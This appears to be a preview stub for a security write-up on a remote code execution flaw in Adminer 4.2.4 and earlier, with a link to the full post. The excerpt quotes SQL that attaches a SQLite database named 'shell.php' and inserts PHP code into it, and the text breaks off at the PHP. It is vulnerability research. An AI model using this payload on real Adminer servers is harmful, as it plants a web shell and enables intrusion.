Adminer - SQLite RCE Regex Filter Bypass

This page cannot be shown here. You can still read it on the original site — the toolbar below keeps your place in the directory.

Adminer is a PHP database management tool. It has support for running queries on SQLite databases. In versions 4.2.4 and before it was possible to get RCE using the SQLite functionality by creating a database file with the .php extension and inserting PHP code like this: ATTACH DATABASE 'shell.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn ( dataz) VALUES ( '<?php…

Read on /posts/adminer_sqlite_rce_regex_bypass/ ↗